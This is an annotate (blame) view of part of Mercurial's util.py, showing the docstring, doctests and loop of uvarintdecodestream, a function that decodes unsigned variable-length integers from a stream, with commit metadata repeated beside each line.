2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3956 """Decode an unsigned variable length integer from a stream. |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3957 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3958 The passed argument is anything that has a ``.read(N)`` method. |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3959 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3960 >>> try: |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3961 ... from StringIO import StringIO as BytesIO |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3962 ... except ImportError: |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3963 ... from io import BytesIO |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3964 >>> uvarintdecodestream(BytesIO(b'\\x00')) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3965 0 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3966 >>> uvarintdecodestream(BytesIO(b'\\x01')) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3967 1 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3968 >>> uvarintdecodestream(BytesIO(b'\\x7f')) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3969 127 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3970 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n')) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3971 1337 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3972 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04')) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3973 65536 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3974 >>> uvarintdecodestream(BytesIO(b'\\x80')) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3975 Traceback (most recent call last): |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3976 ... |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3977 Abort: stream ended unexpectedly (got 0 bytes, expected 1) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3978 """ |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3979 result = 0 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3980 shift = 0 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3981 while True: |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3982 byte = ord(readexactly(fh, 1)) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3983 result |= ((byte & 0x7f) << shift) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3984 if not (byte & 0x80): |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3985 return result |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3986 shift += 7 |